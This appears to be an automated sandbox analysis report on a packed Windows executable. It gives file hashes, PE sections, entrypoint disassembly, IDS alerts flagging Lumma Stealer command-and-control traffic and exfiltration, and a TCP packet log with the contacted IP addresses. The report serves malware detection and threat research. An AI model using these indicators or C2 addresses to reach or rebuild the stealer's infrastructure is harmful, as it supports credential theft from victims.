Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.952682784901873
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'923'584 bytes
MD5:	2d9021d2b87b22f8db44ca359f9838af
SHA1:	4e3376cfa016c0091e2e396255705ac2f401db1c
SHA256:	b11878f626f1edf687231b583380efdba57ee846801ff869f9910aacfcd7b995
SHA512:	1a2a9e3e73c52223f2b02f197fe485a48236eee378843050fcb6e05eac5e2eb46ba5947df63f06ac57d0e4e670ade9dbc28ccbb20e1ab1aa51c5fda436c352b2
SSDEEP:	24576:+qh1tWRkw9idM7cSmurND2+vzkt0rRLsRuu41A8OoxGSgcqiqRn4HrPQPNZtezpe:D1jw9rE+LQuu45XYci1kPQFjEg0pdF
TLSH:	C79533B564BED370D28ECDBF52EC218C8A4BCB895493B3AC990255989C1910FFDC6BC5
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................@L...........@..........................pL...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3BB923673Ah
pabsw mm0, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3BB9238735h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F3BB92367A2h
push esi
dec edx
popad
je 00007F3BB923679Bh
push edx
dec esi
jc 00007F3BB92367AAh
cmp byte ptr [ebx], dh
push edx
jns 00007F3BB9236777h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F3BB923677Dh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F3BB9236787h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F3BB923677Ch
dec eax
dec ebp
jo 00007F3BB9236773h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F3BB9236780h
insd
jnc 00007F3BB92367A0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F3BB9236788h
push edx
insb
js 00007F3BB92367A1h
outsb
inc ecx
jno 00007F3BB9236782h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F3BB923677Ch
dec ebx
js 00007F3BB9236773h
jne 00007F3BB9236761h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F3BB923678Ch
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F3BB923676Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F3BB92367A3h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	93b6c3e5d05e21a16eba86cf8ce93e4a	False	0.997447400990099	data	7.978399593089207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2be000	0x200	f818eee5c7d33bef2065debf1230e6ae	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tklziwfw	0x316000	0x1ad000	0x1ac200	b2eac76c69ce2745facd290673bd2218	False	0.994904197080292	data	7.9545840236936325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ovdkknhj	0x4c3000	0x1000	0x400	9ec914c87c8713238f2fd07c1cd80185	False	0.7568359375	data	5.945145869050621	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c4000	0x3000	0x2200	619b1d31ed25dfd0e280664a4c6889b8	False	0.3869485294117647	DOS executable (COM)	4.13834640810299	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T00:19:05.296071+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-20T00:19:05.750022+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-20T00:19:05.750022+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-20T00:19:06.308862+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-20T00:19:06.744571+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-20T00:19:06.744571+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-11-20T00:19:07.519767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-20T00:19:08.130770+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-20T00:19:08.794450+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-20T00:19:10.101228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49715	188.114.97.3	443	TCP
2024-11-20T00:19:11.899282+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49726	188.114.97.3	443	TCP
2024-11-20T00:19:13.332258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49732	188.114.97.3	443	TCP
2024-11-20T00:19:17.099291+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49759	188.114.97.3	443	TCP
2024-11-20T00:19:17.539339+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49759	188.114.97.3	443	TCP
2024-11-20T00:19:18.256775+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49765	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 00:18:58.141624928 CET	49674	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:18:58.141757965 CET	49673	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:18:58.438451052 CET	49672	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:04.809248924 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:04.809348106 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:04.809452057 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:04.817254066 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:04.817291975 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.295984030 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.296071053 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.300364017 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.300395966 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.300704956 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.344665051 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.355057001 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.355097055 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.355175972 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.460786104 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:05.460832119 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:05.460937023 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:05.461478949 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:05.461498022 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:05.750128984 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.750360012 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.750422955 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.751940012 CET	49709	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.751964092 CET	443	49709	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.806158066 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.806206942 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:05.806284904 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.807152987 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:05.807172060 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.280766010 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.280857086 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.284790993 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.284800053 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.285206079 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.286891937 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.286948919 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.286955118 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.287106991 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.308779001 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.308861971 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.309954882 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.309966087 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.310728073 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.315184116 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.315211058 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.315366983 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.331372023 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.466244936 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.466475010 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.466749907 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.467394114 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.467411041 CET	443	49710	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:06.467426062 CET	49710	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:06.744678020 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.744833946 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.744926929 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.744961023 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.744990110 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.745042086 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.745049953 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.745196104 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.745284081 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.745340109 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.745347023 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.745417118 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.745423079 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.745503902 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.745599031 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.745605946 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.797782898 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.797792912 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.837886095 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.837949991 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.837958097 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.838176966 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.838243961 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.838387012 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.838406086 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:06.838418007 CET	49711	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:06.838424921 CET	443	49711	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:07.003859043 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:07.003910065 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:07.004002094 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:07.004446030 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:07.004465103 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:07.519618988 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:07.519767046 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:07.521070004 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:07.521085978 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:07.522105932 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:07.523319006 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:07.523431063 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:07.523498058 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:07.751008034 CET	49674	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:07.751012087 CET	49673	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:08.047796011 CET	49672	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:08.130856991 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.131129980 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.131218910 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.147537947 CET	49712	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.147603989 CET	443	49712	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.307732105 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.307794094 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.307873964 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.308417082 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.308450937 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.794363976 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.794450045 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.796271086 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.796288013 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.796772957 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.798110008 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.798289061 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.798338890 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:08.798397064 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:08.839355946 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:09.366789103 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:09.366842031 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:09.366913080 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:09.367214918 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:09.367232084 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:09.431066036 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:09.431293011 CET	443	49713	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:09.431301117 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:09.431381941 CET	49713	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:09.616832018 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:09.616905928 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:09.616993904 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:09.617326021 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:09.617357969 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:09.725265026 CET	443	49705	173.222.162.64	192.168.2.6
Nov 20, 2024 00:19:09.725445986 CET	49705	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:10.051193953 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.051311016 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.059781075 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.059796095 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.060189009 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.068815947 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.101119041 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:10.101227999 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:10.102319956 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:10.102338076 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:10.103395939 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:10.104595900 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:10.104731083 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:10.104840040 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:10.104912996 CET	49715	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:10.104929924 CET	443	49715	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:10.115341902 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.173824072 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.173861027 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.173881054 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.173930883 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.173944950 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.173962116 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.173990011 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.264282942 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.264307022 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.264489889 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.264499903 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.264574051 CET	49714	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:10.266201973 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.266221046 CET	443	49714	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:10.266275883 CET	49714	443	192.168.2.6	13.107.246.45
